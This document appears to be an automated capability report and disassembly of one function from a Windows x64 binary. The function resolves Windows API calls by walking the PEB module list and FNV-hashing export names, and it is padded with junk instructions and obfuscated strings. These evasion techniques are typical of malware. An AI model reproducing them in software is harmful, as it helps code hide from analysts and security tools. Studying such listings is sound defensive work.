Function at 0x140608258
Capabilities:
Access peb ldr_data
Encode data using xor
Get number of processors
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
not al
movzx rax, di
mov qword [rsp + 0x18], rdi
movsx ax, bh
lahf
push rbp
not bpl
cwde
push r12
push r13
push r14
movsxd rax, r14d
push r15
cdqe
lea rbp, [rsp - 0x6960]
bswap rax
not ax
mov eax, 0x6a60
jmp 0x140608258
call fcn.140025aa0
sub rsp, rax
cmc
cbw
mov rax, qword [0x14002c010]
clc
add ch, 0xba
xor rax, rsp
movzx r8, r8w
mov qword [rbp + 0x6958], rax
movsx rcx, r12w
cqo
add r8b, cl
xor r13d, r13d
mov dword [rsp + 0x30], r13d
movzx edx, ax
lea r8d, [r13 + 0xc]
mov r9b, r11b
mov byte [rsp + 0x20], 0xf3
mov r9b, 0xfd
movsx rcx, r13w
lea rdx, [0x140027b10]
lea rcx, [rbp + 0x12e0]
jmp 0x1406082b6
call fcn.140023410
mov r15, rax
jmp 0x1406082c6
cmp byte [rax + 0x104], r13b
jmp 0x1406082d2
je 0x1406082f0
mov rcx, rax
jmp 0x1406082e0
call fcn.1400237b0
mov byte [r15 + 0x104], r13b
movsx r12d, ax
movabs r12, 0x2290962a69d7b492
test r10b, al
mov rdx, qword [0x14002d320]
clc
test rdx, rdx
jmp 0x14060830d
jne 0x14060849e
mov rax, qword gs:[0x30]
ror cx, cl
mov rcx, qword [rax + 0x60]
ror al, 0x28
test dil, 0x23
mov rax, qword [rcx + 0x18]
add sil, r8b
adc r10b, spl
sub r14b, 0xb
mov r14, qword [rax + 0x10]
nop
movsxd rax, esp
and al, r12b
mov r10, qword [r14 + 0x30]
movsxd rax, dword [r10 + 0x3c]
not sil
and si, 0x54ff
mov esi, dword [rax + r10 + 0x88]
cmc
lea rsi, [rsi + r10]
cmp r13b, 0x55
test al, r8b
cmp bpl, r13b
cmp rsi, r10
jmp 0x140608372
je 0x14060844b
mov r9d, r13d
shrd ebx, ecx, 0x87
movsx rbx, dx
mov ebx, dword [rsi + 0x18]
test ebx, ebx
jmp 0x14060838d
je 0x14060844b
mov edi, dword [rsi + 0x20]
cmc
mov al, 0x7f
nop word [rax + rax]
ror r8b, cl
mov r11d, r9d
shld ax, bx, 0x9e
bts r8d, r12d
lea rax, [rdi + r11*4]
sub r8w, 0x2a1a
mov edx, dword [rax + r10]
bts ax, ax
cbw
lahf
lea rdx, [rdx + r10]
not ah
mov r8, r13
shr eax, 0x51
add ax, 0x252
and rax, rdi
movzx eax, byte [rdx]
test al, al
je 0x14060843a
nop dword [rax + rax]
or cl, 0x4c
shl ch, 2
mov cx, 0x642
movsx ecx, al
xor rcx, r8
bts ax, r10w
imul r8, rcx, 0x1000193
lea rdx, [rdx + 1]
cbw
add al, r9b
ror ax, 0x3b
movzx eax, byte [rdx]
jmp 0x14060841f
test al, al
jmp 0x140608426
jne 0x1406083f8
cmp r8, r12
jmp 0x140608434
je 0x140608458
inc r9d
cmp r9d, ebx
jmp 0x140608445
jb 0x1406083a7
mov r14, qword [r14]
jmp 0x140608453
jmp 0x140608343
mov ecx, dword [rsi + 0x1c]
lea rcx, [rcx + r10]
cqo
mov eax, dword [rsi + 0x24]
add dl, r15b
lea rax, [rax + r10]
xor edx, 0x3a7a3360
movzx eax, word [rax + r11*2]
mov edx, dword [rcx + rax*4]
movsxd rcx, esp
or rcx, 0x20850359
add rdx, r10
movsxd rcx, edx
movsx ecx, r13w
mov qword [0x14002d320], rdx
movsx ecx, r15w
xchg rcx, rcx
setnp cl
lea rcx, [r15 + 2]
jmp 0x1406084a7
call rdx
nop
bt cx, bx
inc rcx
xor edx, edx
xchg ch, cl
mov r8d, 0x106
movsx rcx, sp
movzx ecx, si
lea rcx, [rbp + 0x12e0]
call fcn.1400258e4
mov r8d, 7
movsx ecx, r13w
movsx cx, spl
mov byte [rsp + 0x20], 8
mov r9b, 0xf5
sete dl
bswap cx
lea rdx, str._VT___
jmp 0x1406084fc
lea rcx, [rbp + 0x13f0]
call fcn.140023410
mov r15, rax
test edx, esi
jmp 0x140608512
cmp byte [rax + 0x104], 0
jmp 0x14060851e
je 0x140608545
mov rcx, rax
jmp 0x14060852c
call fcn.1400237b0
mov byte [r15 + 0x104], 0
shrd dx, r12w, 0x7b
shr dh, cl
bsr rdx, r14
mov rdx, qword [0x14002d320]
test sil, r13b
test rdx, rdx
jmp 0x140608557
jne 0x1406086aa
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
cmc
sbb sil, 0x79
jmp 0x140608578
mov r14, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [r14 + 0x30]
bt ax, 0xb8
movsxd rax, dword [r10 + 0x3c]
stc
mov esi, dword [rax + r10 + 0x88]
lea rsi, [rsi + r10]
stc
cmc
cmp rsi, r10
jmp 0x1406085ab
je 0x140608660
mov r9d, r13d
btr ebx, 0x65
bsf ebx, r13d
mov ebx, dword [rsi + 0x18]
clc
test ebx, ebx
je 0x140608660
mov edi, dword [rsi + 0x20]
cmp dl, r14b
shld r8w, r13w, 0xff
bts r8w, cx
nop word [rax + rax]
and ax, r11w
mov r11d, r9d
and ax, 0x6a7b
lea rax, [rdi + r11*4]
adc r8w, 0x52db
mov edx, dword [rax + r10]
lea rdx, [rdx + r10]
mov r8, r13
movzx eax, byte [rdx]
clc
test al, al
je 0x14060864f
nop dword [rax + rax]
movsx ecx, al
xor rcx, r8
imul r8, rcx, 0x1000193
clc
lea rdx, [rdx + 1]
rol ah, 0x90
sal rax, cl
movzx eax, byte [rdx]
cmc
test al, al
jmp 0x14060863b
jne 0x140608618
cmp r8, r12
jmp 0x140608649
je 0x14060866d
inc r9d
cmp r9d, ebx
jmp 0x14060865a
jb 0x1406085e8
mov r14, qword [r14]
jmp 0x140608668
jmp 0x140608587
mov ecx, dword [rsi + 0x1c]
bswap ax
adc ax, 0x55d9
lea rcx, [rcx + r10]
clc
and dh, 2
mov eax, dword [rsi + 0x24]
shl dh, 0x44
add rax, r10
movzx eax, word [rax + r11*2]
cmp cx, bp
cdq
mov edx, dword [rcx + rax*4]
bt cx, 0xd5
add rdx, r10
mov qword [0x14002d320], rdx
cmovge rcx, rsp
movsx ecx, cx
lea rcx, [r15 + 2]
jmp 0x1406086b3
call rdx
nop
bts cx, si
xor edx, edx
mov r8d, 0x106
mov cl, 0x68
lea rcx, [rbp + 0x13f0]
jmp 0x1406086d0
call fcn.1400258e4
mov rax, qword gs:[0x30]
bt esi, 0x86
adc r15b, r14b
add sil, bl
mov rcx, qword [rax + 0x60]
and r15, rsi
shl r14, cl
mov rax, qword [rcx + 0x18]
mov r14, qword [rax + 0x10]
movabs r15, 0x2e6b2b71ac97b70c
nop dword [rax]
shl rax, 0x35
cbw
rcl sil, cl
nop word [rax + rax]
sbb ah, 0xf5
ror r10b, 0x6e
mov r10, qword [r14 + 0x30]
btc si, 0x5d
or si, 0x6247
movsxd rax, dword [r10 + 0x3c]
sbb sil, 0x14
test bx, cx
mov esi, dword [rax + r10 + 0x88]
cmp bpl, r8b
cmp dil, 0xf0
lea rsi, [rsi + r10]
cmp r12w, 0x7e75
test r10d, r13d
cmp rsi, r10
jmp 0x14060875f
je 0x14060883a
mov r9d, r13d
mov ebx, dword [rsi + 0x18]
test ebx, ebx
je 0x14060883a
mov edi, dword [rsi + 0x20]
cbw
movzx dx, r13b
mov al, 0xda
nop word [rax + rax]
sar eax, 0x66
or edx, 0x8ae1ebd
sar r8w, cl
mov r11d, r9d
lea rax, [rdi + r11*4]
seto dh
mov edx, dword [rax + r10]
lahf
add rdx, r10
mov r8, r13
bt rax, rsp
shld ax, r8w, 0xec
or ax, 0x79af
movzx eax, byte [rdx]
test bl, r9b
stc
test al, al
jmp 0x1406087c8
je 0x140608826
nop dword [rax + rax]
movzx ecx, r14w
movsx ecx, al
movsxd rax, r13d
or eax, r10d
bt eax, ebx
xor rcx, r8
cwde
btr ax, r12w
movsx r8d, ax
imul r8, rcx, 0x1000193
btc rax, rsi
rcl ax, cl
movzx rax, bp
lea rdx, [rdx + 1]
test r15b, r14b
movzx eax, byte [rdx]
jmp 0x140608815
test al, al
jne 0x1406087da
cmp r8, r15
je 0x140608847
inc r9d
test al, r12b
cmp r9d, ebx
jmp 0x140608834
jb 0x140608797
mov r14, qword [r14]
jmp 0x140608842
jmp 0x140608722
mov ecx, dword [rsi + 0x1c]
lea rcx, [rcx + r10]
mov eax, dword [rsi + 0x24]
sbb dl, r11b
bts dx, sp
neg edx
add rax, r10
xadd dh, dl
sbb edx, 0x695c405c
jmp 0x14060886b
movzx eax, word [rax + r11*2]
test r15, rbp
rol dx, 0x23
xchg edx, edx
mov edx, dword [rcx + rax*4]
sbb ecx, 0x1ea65bf3
add rdx, r10
not ch
mov cx, r14w
movsx ecx, r9w
lea rcx, [0x1400273f8]
jmp 0x14060889b
call rdx
mov dl, 1
not cl
mov ecx, 0x14
jmp 0x1406088ab
call fcn.1405ecf8b
mov dl, 1
mov ecx, 0xa
call fcn.1405ecf8b
movzx ecx, byte [str._TrQnb686XjnJfqYP6z4xyGYdRMb8lMrdJVw7yKqPfIs0klHHlY15eF3Hgx9A5dl]
or rax, 0x45cf4b4f
cmp cl, 0x3f
sete dl
movsx eax, bp
mov r8b, r11b
not r8b
mov byte [0x14002c99f], dl
cdqe
cbw
not r8b
mov eax, ecx
bswap r8
mov r8w, 0x2545
movsxd r8, r9d
mov r8d, 0x41
jmp 0x1406088fe
cmove eax, r8d
jmp 0x140608907
mov byte [str._TrQnb686XjnJfqYP6z4xyGYdRMb8lMrdJVw7yKqPfIs0klHHlY15eF3Hgx9A5dl], al
test sp, r13w
test dl, dl
je 0x140608dcf
mov rax, qword gs:[0x30]
sbb sil, dl
mov rcx, qword [rax + 0x60]
movsx ax, cl
neg r10w
mov rax, qword [rcx + 0x18]
mov r14, qword [rax + 0x10]
sub r15b, r12b
sal esi, cl
movabs r15, 0xc62e679859a5d99b
or ax, r13w
nop
bt rsi, 0x2d
and al, 0x11
mov r10, qword [r14 + 0x30]
clc
lahf
cmp di, 0x358c
movsxd rax, dword [r10 + 0x3c]
mov esi, dword [rax + r10 + 0x88]
add rsi, r10
cmp rsi, r10
jmp 0x140608977
je 0x140608a5b
mov r9d, r13d
movsx ebx, bx
btc rbx, r15
mov ebx, dword [rsi + 0x18]
test ebx, ebx
jmp 0x140608991
je 0x140608a5b
mov edi, dword [rsi + 0x20]
adc r8w, 0x1dd9
rol rax, cl
nop
nop word [rax + rax]
bsr ax, r11w
btc r8, 0xa4
mov r11d, r9d
sal r8b, cl
lea rax, [rdi + r11*4]
mov edx, dword [rax + r10]
lea rdx, [rdx + r10]
movzx eax, dx
rcl ax, 0x67
btc rax, 0x8b
mov r8, r13
sbb al, al
movzx eax, byte [rdx]
test bp, 0x4541
test al, al
jmp 0x1406089ec
je 0x140608a40
nop dword [rax + rax]
inc cx
movsx ecx, al
movsx rax, r14w
xor rcx, r8
rcr r8w, cl
bts r8w, bp
imul r8, rcx, 0x1000193
shl ax, cl
lea rdx, [rdx + 1]
shrd eax, r11d, 0xd2
cmovae eax, r15d
movzx eax, byte [rdx]
test al, al
jmp 0x140608a31
jne 0x1406089fd
cmp r8, r15
je 0x140608a68
inc r9d
jmp 0x140608a4d
cmp r9d, ebx
jmp 0x140608a55
jb 0x1406089ba
mov r14, qword [r14]
jmp 0x140608a63
jmp 0x140608955
mov ecx, dword [rsi + 0x1c]
not dh
lea rcx, [rcx + r10]
bsf edx, r15d
sbb al, r11b
mov eax, dword [rsi + 0x24]
lea rax, [rax + r10]
movzx edx, di
ror dl, cl
movzx eax, word [rax + r11*2]
cmovp dx, dx
sal dx, 7
cmc
mov edx, dword [rcx + rax*4]
bts rcx, rax
sal cx, cl
add rdx, r10
movzx cx, bpl
mov ecx, 0xfffffff5
jmp 0x140608aae
call rdx
mov r15, rax
mov rcx, 0x782036cb
neg dx
cqo
mov rcx, qword gs:[0x30]
rcr sil, 0x8f
mov rdx, qword [rcx + 0x60]
shl r10b, 0xc8
cmp sil, 0x53
mov rcx, qword [rdx + 0x18]
mov r14, qword [rcx + 0x10]
xor r10, r13
bt r12w, r11w
movabs r12, 0x31c5601409df7076
clc
nop word [rax + rax]
inc sil
mov r10, qword [r14 + 0x30]
sal rcx, cl
add si, 0x398f
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140608bf4
mov r9d, r13d
mov ebx, dword [rsi + 0x18]
cmp r15b, bl
test ebx, ebx
jmp 0x140608b30
je 0x140608bf4
mov edi, dword [rsi + 0x20]
movzx rax, r11w
xadd r8b, r8b
nop word [rax + rax]
xadd rax, rdx
mov r11d, r9d
rcl rax, cl
lea rax, [rdi + r11*4]
mov edx, dword [rax + r10]
neg ah
cmp si, 0x5adf
lea rdx, [rdx + r10]
cmovl eax, r13d
shl r8b, cl
movsx rax, r10w
mov r8, r13
movzx eax, byte [rdx]
jmp 0x140608b87
test al, al
jmp 0x140608b8e
je 0x140608be0
nop dword [rax + rax]
sub cl, 0xb5
sar ch, cl
movsx ecx, al
xor rcx, r8
neg r8w
sub r8d, 0x5721438c
or r8b, bpl
imul r8, rcx, 0x1000193
rcr ah, 0xcf
lea rdx, [rdx + 1]
bsf rax, r15
movzx eax, byte [rdx]
test al, al
jne 0x140608ba1
cmp r8, r12
jmp 0x140608bda
je 0x140608c01
inc r9d
cmc
cmp al, 0x71
cmp r9d, ebx
jmp 0x140608bee
jb 0x140608b50
mov r14, qword [r14]
jmp 0x140608bfc
jmp 0x140608afc
mov ecx, dword [rsi + 0x1c]
cdqe
or r8, 0x12cb5f41
lea rcx, [rcx + r10]
adc dl, 0x2f
cmc
shr al, 0x83
mov eax, dword [rsi + 0x24]
rol rdx, 0xa2
lea rax, [rax + r10]
setl r8b
add r8w, si
rcr dl, cl
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
movzx ecx, sp
mov rdx, 0x14f64d16
bswap rcx
mov edx, 6
not cl
mov cx, di
setno cl
mov rcx, r15
call r8
lea rdx, str.___________________________________________________________________________
not ecx
xchg cx, cx
bswap cx
mov rcx, qword [0x1400270b0]
call fcn.140023d50
mov rcx, rax
lea rdx, [0x140023f20]
call qword [0x140027090]
lea rdx, str.______________________________________________________________________
mov cl, 0xbd
mov rcx, qword [0x1400270b0]
jmp 0x140608c99
call fcn.140023d50
mov rcx, rax
movzx dx, r9b
cdq
lea rdx, [0x140023f20]
call qword [0x140027090]
lea rdx, [0x140027bf0]
not cl
mov rcx, qword [0x1400270b0]
call fcn.140023d50
mov rcx, rax
cqo
mov dl, 0x8b
lea rdx, [0x140023f20]
call qword [0x140027090]
lea rdx, str._______________________________________________________________________
mov rcx, qword [0x1400270b0]
jmp 0x140608cf0
call fcn.140023d50
mov rcx, rax
movzx dx, spl
lea rdx, [0x140023f20]
jmp 0x140608d09
call qword [0x140027090]
lea rdx, str._____________________________________________________________________
mov ch, 0x95
cmovs cx, r11w
mov rcx, qword [0x1400270b0]
jmp 0x140608d2a
call fcn.140023d50
mov rcx, rax
mov dx, 0x15f8
lea rdx, [0x140023f20]
jmp 0x140608d42
call qword [0x140027090]
lea rdx, str.____________________________________________________________________
movzx cx, cl
mov rcx, rdi
mov rcx, qword [0x1400270b0]
jmp 0x140608d62
call fcn.140023d50
mov rcx, rax
lea rdx, [0x140023f20]
jmp 0x140608d76
call qword [0x140027090]
lea rdx, str.____________________________________________________________________________
bswap cx
movzx rcx, r13w
movsxd rcx, r9d
mov rcx, qword [0x1400270b0]
jmp 0x140608d99
call fcn.140023d50
mov rcx, rax
lea rdx, [0x140023f20]
call qword [0x140027090]
lea rdx, [0x140023f20]
jmp 0x140608dbd
mov rcx, qword [0x1400270b0]
jmp 0x140608dc9
call qword [0x140027090]
xorps xmm0, xmm0
movups xmmword [rbp + 0x6938], xmm0
movups xmmword [rbp + 0x6948], xmm0
movzx rcx, di
lea rcx, [rbp + 0x6938]
jmp 0x140608df0
call fcn.1405fd2f2
test al, al
jmp 0x140608dfc
je 0x14060941c
cmp byte [0x14002c99f], 0
je 0x140608ebd
mov r8d, 0x25
mov byte [rsp + 0x20], 0xd
cqo
mov edx, 0x1e77334
mov r9b, 0xc
movsx dx, ah
movsx rdx, r12w
lea rdx, str.Drsqu__jpjvw
jmp 0x140608e40
lea rcx, [rbp + 0x1500]
jmp 0x140608e4c
call fcn.140023410
mov rbx, rax
cmc
clc
cmp byte [rax + 0x104], 0
jmp 0x140608e62
je 0x140608e82
mov rcx, rax
jmp 0x140608e70
call fcn.1400237b0
mov byte [rbx + 0x104], 0
bswap edx
movzx ecx, r15w
lea rcx, [rbx + 2]
movsx dx, r8b
lea rdx, [rbp + 0x6938]
jmp 0x140608e97
call fcn.140001040
nop
mov rcx, 0x26de06c8
mov ecx, r14d
movsx cx, r9b
lea rcx, [rbp + 0x1500]
jmp 0x140608eb8
jmp 0x140608f56
mov r8d, 0x30
not dx
cdq
mov byte [rsp + 0x20], 0xf3
setbe ch
jmp 0x140608ed4
mov r9b, 7
lea rdx, str.oBs7h
movzx rcx, r9w
movsx ecx, r9w
movsxd rcx, ecx
lea rcx, [rbp + 0x1610]
call fcn.140023410
mov rbx, rax
jmp 0x140608f03
cmp byte [rax + 0x104], 0
jmp 0x140608f0f
je 0x140608f33
mov rcx, rax
jmp 0x140608f1d
call fcn.1400237b0
mov byte [rbx + 0x104], 0
jmp 0x140608f33
lea rcx, [rbx + 2]
lea rdx, [rbp + 0x6938]
call fcn.140001040
nop
movsx r8, ax
dec ecx
rcr r8b, 0x60
lea rcx, [rbp + 0x1610]
stc
mov r8d, 0x106
test bpl, r12b
clc
xor edx, edx
jmp 0x140608f67
call fcn.1400258e4
mov rax, qword gs:[0x30]
sal ecx, cl
sub r11b, 0x95
btr r11w, r9w
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
movzx rdi, r9w
adc r11b, 0x6a
add dil, r14b
mov r14, qword [rax + 0x10]
movabs rdi, 0x4690717567faad93
shr si, 0xaf
shl r11d, cl
movsxd rsi, ecx
nop word [rax + rax]
adc r11b, 0x2d
shrd si, r15w, 0xbe
mov r11, qword [r14 + 0x30]
movsx esi, ax
rcl rax, cl
movsxd rax, dword [r11 + 0x3c]
movzx rsi, r11w
shr sil, cl
mov esi, dword [rax + r11 + 0x88]
cmp spl, 0xc4
cmp r11, r8
add rsi, r11
clc
cmp r8w, 0x75b4
cmp rsi, r11
jmp 0x140608ff1
je 0x1406090a2
mov r10d, r13d
shr bh, 0xcf
mov ebx, dword [rsi + 0x18]
test ebx, ebx
jmp 0x140609007
je 0x1406090a2
mov r9d, dword [rsi + 0x20]
lea r9, [r9 + r11]
nop dword [rax]
mov edx, dword [r9]
rol al, 0x19
clc
movzx r8w, sil
lea rdx, [rdx + r11]
test dil, bl
bts r8w, r11w
movsx ax, ah
mov r8, r13
movzx eax, byte [rdx]
jmp 0x140609043
test al, al
je 0x140609085
movsx ecx, al
movsxd rax, esi
bt ax, dx
rcl eax, cl
xor rcx, r8
imul r8, rcx, 0x1000193
cmc
shl rax, 6
cwde
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
cmc
test al, al
jne 0x14060904b
cmp r8, rdi
jmp 0x14060907f
je 0x1406090af
inc r10d
jmp 0x14060908d
add r9, 4
jmp 0x140609099
cmp r10d, ebx
jb 0x14060901c
mov r14, qword [r14]
jmp 0x1406090aa
jmp 0x140608fbb
mov edx, r10d
sub r8b, bl
mov ecx, dword [rsi + 0x24]
sal eax, cl
lea rcx, [rcx + r11]
movzx r8d, word [rcx + rdx*2]
test spl, 0x6a
rcr ax, cl
mov ecx, dword [rsi + 0x1c]
lea rcx, [rcx + r11]
movsxd rax, ebp
mov al, 0xa3
mov eax, dword [rcx + r8*4]
bsr cx, cx
shl cl, 0x10
add rax, r11
mov ecx, 0x5dc
call rax
mov rax, qword gs:[0x30]
adc ch, ch
mov rcx, qword [rax + 0x60]
bswap di
sbb r14, r14
mov rax, qword [rcx + 0x18]
or esi, esi
movsx r14, sp
mov r14, qword [rax + 0x10]
shrd eax, r9d, 0xbf
sub ax, 0x2b8b
bsr rax, rbx
movabs rsi, 0xf919c4347af37e6c
xchg edi, r11d
cmovne r11w, di
sar rax, cl
nop
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
or di, 0x7852
clc
mov edi, dword [rax + r11 + 0x88]
cmp r12b, 0x59
lea rdi, [rdi + r11]
stc
cmp rdi, r11
je 0x140609228
mov r10d, r13d
stc
mov ebx, dword [rdi + 0x18]
test r10b, 0x72
stc
test ebx, ebx
jmp 0x14060916c
je 0x140609228
mov r9d, dword [rdi + 0x20]
add r9, r11
rdtsc
bt edx, r12d
rol al, cl
nop dword [rax]
and ah, 0x8c
mov r8d, r12d
rcr r8b, 6
mov edx, dword [r9]
rol r8w, cl
sub r8, 0x35e0370a
lea rdx, [rdx + r11]
adc rax, rdi
bts r8w, bp
cwde
mov r8, r13
movzx eax, byte [rdx]
test al, al
jmp 0x1406091ba
je 0x14060920a
movsx ecx, al
add al, dil
sbb eax, ecx
xor rcx, r8
add r8w, 0x99e
bswap eax
imul r8, rcx, 0x1000193
rol ah, 0x7a
mov ax, 0x6d22
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
stc
test r8w, 0x5b85
test al, al
jmp 0x1406091f6
jne 0x1406091c0
cmp r8, rsi
jmp 0x140609204
je 0x140609235
inc r10d
test r8, 0x3d937ca6
add r9, 4
test r8d, 0x66442b3e
cmp r10d, ebx
jb 0x140609192
mov r14, qword [r14]
jmp 0x140609230
jmp 0x140609131
mov edx, r10d
mov ecx, dword [rdi + 0x24]
rol al, 3
bswap ax
add rcx, r11
add ah, 0x4f
or al, 0x65
movzx r8d, word [rcx + rdx*2]
rcr rcx, 0xec
btr cx, 0x5f
mov ecx, dword [rdi + 0x1c]
clc
btc eax, 0x59
sub rax, 0x33ca0a7c
lea rcx, [rcx + r11]
xadd ax, ax
shl al, 0x56
mov eax, dword [rcx + r8*4]
ror cx, cl
movzx ecx, bp
lea rax, [rax + r11]
movsx cx, bl
movzx cx, r8b
shrd cx, r8w, 0x93
sub edx, edx
mov cx, 0x343b
lea rcx, [rdx - 1]
jmp 0x14060929d
call rax
mov qword [0x420], r13
mov rax, qword [0x14002d318]
test rax, rax
jmp 0x1406092b6
jne 0x14061562a
mov rax, qword gs:[0x30]
xadd sil, sil
shld r14w, di, 0x10
movsxd rsi, r11d
mov rcx, qword [rax + 0x60]
movsx rax, si
inc bh
and r14d, 0x773150a5
mov rax, qword [rcx + 0x18]
movsx r14w, spl
setle r14b
ror rbx, 0x6f
mov r14, qword [rax + 0x10]
rcl bx, 0x57
movsx rax, sp
movsx eax, r14w
movabs rdx, 0xcd55c8d2850de2a1
nop dword [rax + rax]
xor ebx, r11d
mov rbx, qword [r14 + 0x30]
rol sil, cl
mov ax, di
xadd sil, sil
movsxd rax, dword [rbx + 0x3c]
test r15w, r10w
sar si, cl
mov esi, dword [rax + rbx + 0x88]
lea rsi, [rsi + rbx]
test r12w, r15w
cmp rsi, rbx
jmp 0x140609349
je 0x14060940f
mov r11d, r13d
stc
mov edi, dword [rsi + 0x18]
test dl, r12b
test edi, edi
jmp 0x140609360
je 0x14060940f
mov r10d, dword [rsi + 0x20]
and r9d, r9d
lea r10, [r10 + rbx]
shrd r9, r14, 0x99
nop dword [rax + rax]
btc r8d, 0xe1
cbw
mov r8d, dword [r10]
movsxd r9, esi
lea r8, [r8 + rbx]
dec ax
shr r9b, 9
mov r9, r13
shrd eax, eax, 0x84
jmp 0x1406093a2
movzx eax, byte [r8]
test al, al
je 0x1406093f4
movsx ecx, al
mov al, bpl
movsx rax, r11w
xor rcx, r9
imul r9, rcx, 0x1000193
btr ax, bx
cmc
lea r8, [r8 + 1]
movzx ax, sil
xchg al, ah
movzx eax, byte [r8]
test dx, dx
test al, al
jmp 0x1406093e0
jne 0x1406093ae
cmp r9, rdx
jmp 0x1406093ee
je 0x1406155d6
inc r11d
add r10, 4
cmp bpl, spl
test r12d, ebx
cmp r11d, edi
jmp 0x140609409
jb 0x140609385
mov r14, qword [r14]
jmp 0x140609417
jmp 0x140609319
cmp byte [0x14002c99f], 0
jmp 0x140609428
jne 0x1406094d7
mov r8d, 0x10
mov byte [rsp + 0x20], 0xf1
mov r9b, 0xa
movsx rcx, sp
lea rdx, str.tHIJz_b
lea rcx, [rbp + 0x1720]
jmp 0x140609453
call fcn.140023410
mov rbx, rax
cmp r13, 0x6cb47543
test dil, bpl
test r14w, 0x840
cmp byte [rax + 0x104], 0
jmp 0x140609477
je 0x140609491
mov rcx, rax
jmp 0x140609485
call fcn.1400237b0
mov byte [rbx + 0x104], 0
lea rdx, [rbx + 2]
mov rcx, qword [0x1400270b0]
jmp 0x1406094a1
call fcn.140023d50
mov rcx, rax
xchg dh, dl
mov dl, r8b
jmp 0x1406094b3
lea rdx, [0x140023f20]
jmp 0x1406094bf
call qword [0x140027090]
nop
lea rcx, [rbp + 0x1720]
jmp 0x1406094d2
jmp 0x140609582
mov r8d, 0x17
cdq
mov byte [rsp + 0x20], 0xf2
xchg r9b, dl
mov r9b, 0xf
jmp 0x1406094f6
lea rdx, str.__l
xchg ecx, ecx
cmova rcx, r15
movsx ecx, dx
lea rcx, [rbp + 0x1830]
jmp 0x140609512
call fcn.140023410
mov rbx, rax
cmp byte [rax + 0x104], 0
jmp 0x140609526
je 0x140609547
mov rcx, rax
jmp 0x140609534
call fcn.1400237b0
mov byte [rbx + 0x104], 0
setbe dl
movsx edx, r10w
lea rdx, [rbx + 2]
movzx rcx, si
not rcx
movsx rcx, dx
mov rcx, qword [0x1400270b0]
jmp 0x140609562
call fcn.140023d50
mov rcx, rax
mov dx, di
lea rdx, [0x140023f20]
call qword [0x140027090]
nop
lea rcx, [rbp + 0x1830]
mov r8d, 0x106
cmp ebp, 0x118c6ee5
sub edx, edx
jmp 0x140609595
call fcn.1400258e4
mov r8d, 0x20
movsx dx, r11b
mov byte [rsp + 0x20], 0xe
xchg r9b, cl
mov r9b, 0xc
movsx dx, r15b
bswap rcx
lea rdx, str.IHTHE6UV7UbKKOZU_URhDCYgkgJlSqbc
movsxd rcx, ecx
lea rcx, [rbp + 0x1a50]
jmp 0x1406095ce
call fcn.140023410
mov rdi, rax
mov r8d, 6
mov byte [rsp + 0x20], 7
bswap dx
mov r9b, 0xf3
mov r9b, 0xfe
lea rdx, str._.__
not cx
movsx ecx, r11w
lea rcx, [rbp + 0x1940]
jmp 0x140609604
call fcn.140023410
mov rbx, rax
cmp byte [rdi + 0x104], 0
je 0x140609635
mov rcx, rdi
jmp 0x140609621
call fcn.1400237b0
mov byte [rdi + 0x104], 0
cmp r10d, 0x5c3a5d20
clc
cmp byte [rbx + 0x104], 0
jmp 0x140609641
je 0x140609663
mov rcx, rbx
jmp 0x14060964f
call fcn.1400237b0
mov byte [rbx + 0x104], 0
cmovl dx, r14w
cwd
cdq
lea rdx, [rdi + 2]
lea rcx, [rbx + 2]
not r8
xchg r8b, r8b
sets r8b
mov r8d, 0xb9c17df4
jmp 0x140609680
call fcn.1405fef49
mov ebx, eax
btc r8, rax
xor edx, edx
movzx r8d, r12w
movzx rcx, r12w
setb ch
mov r8d, 0x106
movsx cx, r8b
lea rcx, [rbp + 0x1940]
jmp 0x1406096af
call fcn.1400258e4
nop
mov cx, ax
sub edx, edx
movsx rcx, sp
cmovno r8d, r14d
seta r8b
mov r8d, 0x106
lea rcx, [rbp + 0x1a50]
call fcn.1400258e4
test ebx, ebx
je 0x140609b55
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
add r14, r12
movzx edi, di
mov rax, qword [rcx + 0x18]
or r14b, r15b
mov r14, qword [rax + 0x10]
sbb esi, 0xf1729c8
movabs rdi, 0x4690717567faad93
nop dword [rax]
sbb ax, dx
nop word [rax + rax]
sal r11b, cl
rol si, 0x67
mov r11, qword [r14 + 0x30]
btr esi, 0x8d
rcl rax, cl
movsx rsi, r13w
movsxd rax, dword [r11 + 0x3c]
rcr sil, cl
or rsi, r9
mov esi, dword [rax + r11 + 0x88]
add rsi, r11
test spl, cl
cmp rsi, r11
jmp 0x140609756
je 0x14060982d
mov r10d, r13d
mov bl, bpl
shl rbx, cl
shrd bx, r11w, 0x92
mov ebx, dword [rsi + 0x18]
stc
test ebx, ebx
jmp 0x140609776
je 0x14060982d
mov r9d, dword [rsi + 0x20]
movzx dx, al
sal rdx, 0x4f
add r9, r11
bts rax, rcx
sub dl, al
sar r8b, 0x1e
nop dword [rax]
sbb rax, r9
or rdx, r14
btc ax, 0x75
mov edx, dword [r9]
shld r8w, bx, 0x19
mov rax, rcx
lea rdx, [rdx + r11]
btr rax, 0xd1
jmp 0x1406097c1
mov r8, r13
movzx eax, byte [rdx]
test r12, 0x5a916fe
cmp r14b, r8b
test al, al
jmp 0x1406097d8
je 0x14060981a
movsx ecx, al
mov al, 0x7f
shr ax, cl
xor rcx, r8
imul r8, rcx, 0x1000193
rol eax, cl
rcr ax, cl
lea rdx, [rdx + 1]
sar al, 0xe6
movzx eax, byte [rdx]
test al, al
jmp 0x140609806
jne 0x1406097de
cmp r8, rdi
jmp 0x140609814
je 0x14060983a
inc r10d
test r9b, r13b
add r9, 4
cmp r10d, ebx
jb 0x1406097a7
mov r14, qword [r14]
jmp 0x140609835
jmp 0x140609727
mov edx, r10d
or eax, r13d
shl ax, 0x60
clc
mov ecx, dword [rsi + 0x24]
not r8d
add rcx, r11
mov r8b, r11b
test rsp, r10
movzx r8d, word [rcx + rdx*2]
